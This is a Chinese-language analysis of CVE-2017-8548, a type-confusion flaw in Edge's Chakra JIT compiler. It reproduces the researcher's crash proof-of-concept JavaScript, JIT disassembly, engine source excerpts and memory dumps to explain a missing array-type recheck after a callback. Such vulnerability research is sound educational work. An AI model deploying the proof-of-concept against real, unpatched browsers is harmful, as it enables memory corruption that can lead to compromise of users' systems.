Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析

$
0
0
【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析

2017-11-24 15:01:08

阅读:1679次
点赞(0)
收藏
来源: 安全客





【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析

作者:Ox9A82





【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析

作者:Ox9A82

预估稿费:1000RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

这是Microsoft Edge的javascript解析引擎Chakra的一个漏洞。这篇分析也是我这系列分析中的一部分,这一系列的漏洞虽然成因各有不同,但是我个人觉得在挖掘问题的思路上是一脉相承的。 这个漏洞与之前的几个相比比较特殊的是涉及到了代码的JIT,也就是发生了优化导致的问题。 此外这也是一个微软修了两次才修好的漏洞,韩国神童lokihardt第一次在16年12月经project zero上报了这个漏洞,编号为CVE-2017-0071。之后微软进行了错误的修补lokihardt在17年6月份再次上报了这个漏洞编号为CVE-2017-8548。


漏洞概况

lokihardt提供的POC如下

'usestrict'; functionfunc(a,b,c){ a[0]=1.2; b[0]=c; a[1]=2.2; a[0]=2.3023e-320; } functionmain(){ leta=[1.1,2.2]; letb=newUint32Array(100); for(leti=0;i<0x1000;i++) func(a,b,{});//<<----------REPLACED func(a,b,{valueOf:()=>{ a[0]={}; return0; }}); a[0].toString(); } main();

执行POC后crash情况如下

returnMerge(FromObject(RecyclableObject::FromVar(var))); //其中var=0x1234,对0x1234转换RecyableObject导致crash 初步观察POC可以得知,func()被反复执行导致JIT,之后对JIT函数调用了用户定义的callback函数。

漏洞调试

首先简化POC进行调试,简化后POC如下:

functionfunc(a,b,c){ a[0]=2.3023e-320; b[0]=c; a[0]=2.3023e-320; } leta=[1.1]; letb=newUint32Array(100); for(leti=0;i<0x1000;i++) func(a,b,{}); letfunc1=function() { a[0]={}; } func(a,b,{valueOf:func1}); a[0];

crash发生在如下函数中,0x1234不满足TaggedInt和NoTaggedIntCheck因此会被当成对象指针进行RecyclableObject::FromVar(var)

__inlineValueTypeValueType::Merge(constJs::Varvar)const { usingnamespaceJs; Assert(var); if(TaggedInt::Is(var)) returnMerge(GetTaggedInt()); if(JavascriptNumber::Is_NoTaggedIntCheck(var)) { return Merge( (IsUninitialized()||IsLikelyInt())&&JavascriptNumber::IsInt32_NoChecks(var) ?GetInt(false) :ValueType::Float); } returnMerge(FromObject(RecyclableObject::FromVar(var))); }

也就是说这里错误的把0x1234当作指针进行操作,在Chakra中发生这种情况一般都是类型混淆导致的。


JIT分析

首先通过调试获取POC中func函数JIT之后的代码片断如下

000001E5B5440172learax,[rsi-108890h]<===1 000001E5B5440179cmpqwordptr[r15],rax//checkvtable 000001E5B544017Cjne000001E5B5440498 000001E5B5440182testbyteptr[r15+18h],4 000001E5B5440187je000001E5B54404CE 000001E5B544018Dmovrax,qwordptr[r15+28h]//rax=segment 000001E5B5440191movecx,dwordptr[rax+4]//ecx=size 000001E5B5440194cmpecx,0//checksize 000001E5B5440197jle000001E5B54404E8 000001E5B544019Dmovsdxmm6,mmwordptr[rdi+2CB0h]//0x1234 000001E5B54401A6movsdmmwordptr[rax+18h],xmm6//a[0]=2.3023e-320 000001E5B54401ACmovrcx,r14 000001E5B54401AFshrrcx,30h 000001E5B54401B3jne000001E5B5440538 000001E5B54401B9cmpqwordptr[r14],rsi 000001E5B54401BCjne000001E5B5440538 000001E5B54401C2cmpdwordptr[r14+20h],0 000001E5B54401C7jle000001E5B5440556 000001E5B54401CDmovrsi,qwordptr[r14+38h] 000001E5B54401D1movrcx,r13 000001E5B54401D4movrdx,rcx 000001E5B54401D7shrrdx,30h 000001E5B54401DBcmprdx,1 000001E5B54401DFjne000001E5B544058A//JavascriptMath::ToInt32 000001E5B54401E5movecx,ecx 000001E5B54401E7movdwordptr[rsi],ecx 000001E5B54401E9movsdmmwordptr[rax+18h],xmm6 000001E5B54401EFmovrax,qwordptr[rbx-48168h] 000001E5B54401F6cmprax,qwordptr[rdi+400h] 000001E5B54401FDjne000001E5B54405F6 000001E5B5440203movrsi,qwordptr[r12+0E8h] 000001E5B544020Bmovrax,rsi 000001E5B544020Eshrrax,30h 000001E5B5440212jne000001E5B544064D 000001E5B5440218movrax,qwordptr[rsi+8] 000001E5B544021Ccmprax,rbx 000001E5B544021Fjne000001E5B5440669 000001E5B5440225movrcx,qwordptr[rsi+10h] 000001E5B5440229movrbx,qwordptr[rcx+8] 000001E5B544022Dmovrax,rbx 000001E5B5440230shrrax,30h 000001E5B5440234jne000001E5B54406ED 000001E5B544023Amovrax,qwordptr[rbx+8] 000001E5B544023Ecmprax,qwordptr[rdi+2B0h] 000001E5B5440245jne000001E5B54406C8 000001E5B544024Bmovrcx,qwordptr[rbx+10h] 000001E5B544024Fmovrsi,qwordptr[rcx+28h] 000001E5B5440253movrax,rsi 000001E5B5440256shrrax,30h 000001E5B544025Ajne000001E5B5440749 000001E5B5440260movrax,qwordptr[rsi+8] 000001E5B5440264cmprax,qwordptr[rdi] 000001E5B5440267jne000001E5B5440727

在1处r15的值指向一个JavascriptNativeFloatArray对象。 JIT代码中首先会验证r15指向的对象是否是一个合法的JavascriptNativeFloatArray对象,方法就是通过比较虚表地址。之后取出Array中的Segment,验证Segment的size域来查看Segment能否容纳元素,之后直接写入新的元素0x1234。

000001E5B544019Dmovsdxmm6,mmwordptr[rdi+2CB0h]//0x1234 000001E5B54401A6movsdmmwordptr[rax+18h],xmm6//a[0]=2.3023e-320 在执行向Uint32Array写入时,因为poc中传递给func的参数是func1,因此它不属于TaggedInt 000001E5B54401D1movrcx,r13 000001E5B54401D4movrdx,rcx 000001E5B54401D7shrrdx,30h 000001E5B54401DBcmprdx,1 000001E5B54401DFjne000001E5B544058A//JavascriptMath::ToInt32

因而会跳转到0x00001E5B544058A调用JavascriptMath::ToInt32试图做一个转化。 在这个函数过程中,用户定义的func1函数就会被执行,具体情况见下面。 在下面的调用栈中,000001fdd74905a7是JIT代码,JIT代码中经过上面说过的判断调用了JavascriptMath::ToInt32,而最后流程会执行到ExecuteImplicitCall去调用用户callback函数。

ThreadContext::ExecuteImplicitCall DynamicObject::CallToPrimitiveFunction DynamicObject::ToPrimitiveImpl DynamicObject::ToPrimitive JavascriptConversion::OrdinaryToPrimitive JavascriptConversion::MethodCallToPrimitive JavascriptConversion::ToPrimitive JavascriptConversion::ToInt32_Full JavascriptMath::ToInt32_Full JavascriptMath::ToInt32 000001fdd74905a7()

我们在之前的漏洞分析中说过对JavascriptNativeFloatArray数组添加一个非float值(比如对象)会导致数组转化为JavascriptArray,比如poc中的用户callback:

letfunc1=function() { a[0]={}; }

但是之前没有详细叙述过这个过程,这里描述一下数组类型转变的过程。


NativeFloatArray的转化

首先我们对JavascriptNativeFloatArray的赋值操作会调用到JavascriptNativeFloatArray::SetItem

BOOLJavascriptNativeFloatArray::SetItem(uint32index,Varvalue,PropertyOperationFlagsflags) { doubledValue; TypeIdtypeId=this->TrySetNativeFloatArrayItem(value,&dValue); if(typeId==TypeIds_NativeFloatArray) { this->SetItem(index,dValue); } else { this->DirectSetItemAt(index,value); } returnTRUE; }

注意这个函数首先调用TrySetNativeFloatArrayItem。然后根据返回结果的Type_Id不同调用不同的赋值函数。 当返回的TypeId是NativeFloatArray时,调用JavascriptNativeFloatArray::SetItem 当返回的TypeId是JavascriptArray时,调用JavascriptArray::DirectSetItemAt<Var>

而负责判断值类型的函数JavascriptNativeFloatArray::TrySetNativeFloatArrayItem,当发现要设置的值不属于NativeFloatArray应该储存的范畴时,会进行转化,如下所示

TypeIdJavascriptNativeFloatArray::TrySetNativeFloatArrayItem(Varvalue,double*dValue) { if(TaggedInt::Is(value)) { *dValue=(double)TaggedInt::ToInt32(value); returnTypeIds_NativeFloatArray; } elseif(JavascriptNumber::Is_NoTaggedIntCheck(value)) { *dValue=JavascriptNumber::GetValue(value); returnTypeIds_NativeFloatArray; } JavascriptNativeFloatArray::ToVarArray(this);//<===转化 returnTypeIds_Array; }

之后的操作包括转化Array中已有的元素、更改虚表、设置新的Type Object等。 这些操作具体是在JavascriptNativeFloatArray::ToVarArray的子函数JavascriptNativeFloatArray::ConvertToVarArray中实现的。

//转化Array中的元素 int32ival; doubledval=((SparseArraySegment<double>*)seg)->elements[i]; if(JavascriptNumber::TryGetInt32Value(dval,&ival)&&!TaggedInt::IsOverflow(ival)) { newSeg->elements[i]=TaggedInt::ToVarUnchecked(ival); } else { newSeg->elements[i]=JavascriptNumber::ToVarWithCheck(dval,scriptContext); } ... //设置新的TypeObject fArray->GetType()->SetTypeId(TypeIds_Array); ... //更改虚表 Assert(VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(fArray)); VirtualTableInfo<JavascriptArray>::SetVirtualTable(fArray); ...

在进行转化前,Array内存如下

0x000001CA96B0066000007ffd6f13f150P?.o?... 0x000001CA96B00668000001ca96ad9140@????... 0x000001CA96B006700000000000000000........ 0x000001CA96B006780000000000010005........ 0x000001CA96B006800000000000000001........ 0x000001CA96B00688000001ca96b006a0?.???... 0x000001CA96B00690000001ca96b006a0?.???... 0x000001CA96B00698000001c2950489300?.??... 0x000001CA96B006A00000000100000000........ 0x000001CA96B006A80000000000000001........ 0x000001CA96B006B00000000000000000........ 0x000001CA96B006B800000000000012344.......

可以看到0x000001CA96B00660为NativeFloatArray虚表,0x00001ca96ad9140是指向Type对象的指针,0x00001ca96b006a0为segement指针,segment的size和length皆为1。 在进行转化之后内存的内容变化如下:

0x000001CA96B0066000007ffd6f13e1d8??.o?... 0x000001CA96B00668000001ca96ad8fc0?????... 0x000001CA96B006700000000000000000........ 0x000001CA96B006780000000000010005........ 0x000001CA96B006800000000000000001........ 0x000001CA96B00688000001ca96b006a0?.???... 0x000001CA96B00690000001ca96b006a0?.???... 0x000001CA96B006980000000000000000........ 0x000001CA96B006A00000000100000000........ 0x000001CA96B006A80000000000000001........ 0x000001CA96B006B00000000000000000........ 0x000001CA96B006B8000001ca96b753e0?S???... 可以看到vtable、TypeId、element[0]都发生了改变,其中vtable是从JavascriptNativeFloatArray::vtable变成了JavascriptArray::vtable。对象的类型也从JavascriptNativeFloatArray变成JavascriptArray。 原来的Type对象如下所示,0x1f是原来的id值,对应的宏定义是TypeIds_NativeFloatArray 0x0000026AFD659140000000000000001f........ 0x0000026AFD6591480000026afd668000.f?j... 0x0000026AFD6591500000026afd67c000.?g?j... 0x0000026AFD65915800007ffd6e97d480??n?... 0x0000026AFD6591600000000000000000........ 0x0000026AFD6591680000026afd659100.?e?j... 0x0000026AFD6591700000000000000101........ 0x0000026AFD6591780000000000000000........ 0x0000026AFD65918000007ffd6f2ee9d0??.o?... 0x0000026AFD6591880000000000001d11........ 0x0000026AFD6591900000000000000001........ 0x0000026AFD6591980000026afd674000........

新的Type对象如下所示,0x1f是新的id值,对应的宏定义是TypeIds_Array

0x0000026AFD658FC0000000000000001c........ 0x0000026AFD658FC80000026afd668000.f?j... 0x0000026AFD658FD00000026afd67c000.?g?j... 0x0000026AFD658FD800007ffd6e97d480??n?... 0x0000026AFD658FE00000000000000000........ 0x0000026AFD658FE80000026afd658f80?e?j... 0x0000026AFD658FF00000000000000101........ 0x0000026AFD658FF80000000000000000........ 0x0000026AFD65900000007ffd6f2ee9d0??.o?... 0x0000026AFD6590080000000000001d11........ 0x0000026AFD6590100000000000000001........ 0x0000026AFD6590180000026afd674000.@g?j...

漏洞成因

我们回过头再来看一下JIT代码,其实可以分为三段。

functionfunc(a,b,c){ a[0]=2.3023e-320;//<===1 b[0]=c;//<===2 a[0]=2.3023e-320;//<===3 }

第一段,对应于func中的1 代码首先验证Array的类型是否为JavascriptNativeArray,之后验证segement是否可以容纳元素,之后就是进行赋值

0000019DA4D7016Elearax,[rsi-108890h] 0000019DA4D70175cmpqwordptr[r15],rax//checkvtable 0000019DA4D70178jne0000019DA4D70494 0000019DA4D7017Etestbyteptr[r15+18h],4 0000019DA4D70183je0000019DA4D704CC 0000019DA4D70189movrax,qwordptr[r15+28h]//rax=segment 0000019DA4D7018Dmovecx,dwordptr[rax+4]//ecx=size 0000019DA4D70190cmpecx,0//checksize 0000019DA4D70193jle0000019DA4D704E6 0000019DA4D70199movsdxmm6,mmwordptr[rdi+2CC0h] 0000019DA4D701A2movsdmmwordptr[rax+18h],xmm6 0000019DA4D701A8movrcx,r14 0000019DA4D701ABshrrcx,30h 0000019DA4D701AFjne0000019DA4D70536 0000019DA4D701B5cmpqwordptr[r14],rsi 0000019DA4D701B8jne0000019DA4D70536 0000019DA4D701BEcmpdwordptr[r14+20h],0 0000019DA4D701C3jle0000019DA4D70550

此时内存数据如下:

0x00000205F828066000007ffd6f13f150P?.o?... 0x00000205F828066800000205f8259140@?%?.... 0x00000205F82806700000000000000000........ 0x00000205F82806780000000000010005........ 0x00000205F82806800000000000000001........ 0x00000205F828068800000205f82806a0?.(?.... 0x00000205F828069000000205f82806a0?.(?.... 0x00000205F828069800000205f68189300???.... 0x00000205F82806A00000000100000000........ 0x00000205F82806A80000000000000001........ 0x00000205F82806B00000000000000000........ 0x00000205F82806B800000000000012344.......

第二段,对应于func中的2 代码验证了值的类型,并调用JavascriptMath::ToInt32,注意正是这里调用了用户callback

0000019DA4D701C9movrsi,qwordptr[r14+38h] 0000019DA4D701CDmovrcx,r13 0000019DA4D701D0movrdx,rcx 0000019DA4D701D3shrrdx,30h 0000019DA4D701D7cmprdx,1 0000019DA4D701DBjne0000019DA4D70584 0000019DA4D704E6movdwordptr[rdi+2D84h],20000h 0000019DA4D704F0learcx,[rdi-831A8h] 0000019DA4D704F7movqwordptr[rdi+2DA0h],rcx 0000019DA4D704FEmovrcx,195A4AF60B8h 0000019DA4D70508movrax,7FFD74DBBF10h 0000019DA4D70512callrax//JavascriptMath::ToInt32 0000019DA4D70515jmp0000019DA4D7028B

此时内存数据如下:

0x00000205F828066000007ffd6f13e1d8??.o?... 0x00000205F828066800000205f8258fc0??%?.... 0x00000205F82806700000000000000000........ 0x00000205F82806780000000000010005........ 0x00000205F82806800000000000000001........ 0x00000205F828068800000205f82806a0?.(?.... 0x00000205F828069000000205f82806a0?.(?.... 0x00000205F82806980000000000000000........ 0x00000205F82806A00000000100000000........ 0x00000205F82806A80000000000000001........ 0x00000205F82806B00000000000000000........ 0x00000205F82806B800000205f82f53e0?S/?....

可以观察到此时vtable、Type Object指针已经改变,说明此对象已经成为JavascriptArray。 注意0x00000205F82806B8处的值已经由0x000000000001234变成0x0000205f82f53e0。 而0x0000205f82f53e0其实就是callback中赋予Array的对象,证明如下:

0x00000205F82F53E000007ffd6f13af00.?.o?... 0x00000205F82F53E800000205f825a180//TypeObject 0x00000205F825A180000000000000001b........//TypeIds_Object=27 0x00000205F825A18800000205f8268000.&?.... 0x00000205F825A19000000205f8244120A$?....

第三段,对应于func中的3 此时执行第三次赋值操作,如果你仔细观察与第一段的区别可能就会意识到这个漏洞成因了。此时,在进行赋值操作前并没有对目标Array的类型和segment的属性做任何的验证,而是选择了直接赋值。这就执行导致了把0x1234这样一个对于JavascriptArray来说是完全非法的值(JavascriptArray中应储存TaggedInt或NoTaggedInt),从而造成了一个类型混淆。

0000019DA4D704E6movdwordptr[rdi+2D84h],20000h 0000019DA4D704F0learcx,[rdi-831A8h] 0000019DA4D704F7movqwordptr[rdi+2DA0h],rcx 0000019DA4D704FEmovrcx,195A4AF60B8h 0000019DA4D70508movrax,7FFD74DBBF10h 0000019DA4D70512callrax 0000019DA4D70515jmp0000019DA4D7028B

总结一下,JIT代码生成的func函数时仅在第一次赋值前对目标Array进行了类型验证,这就导致了一旦在中途Array类型发生了改变,在第二赋值时就会发生类型混淆。 而在没有JIT的情况下,每次执行函数都由bytecode进行解释执行,调用相关的SetItem函数因而不会发生类型混淆。


参考链接

https://bugs.chromium.org/p/project-zero/issues/detail?id=1316&can=1&q=lokihardt%40google.com

https://github.com/Microsoft/ChakraCore/pull/2697/commits/ff21352270c174ea21606369432909fcb1d9a0e9

https://github.com/Microsoft/ChakraCore/pull/3166/commits/cd60f3b5c35592006caae7730760a7980857990c



【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析
【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4751.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images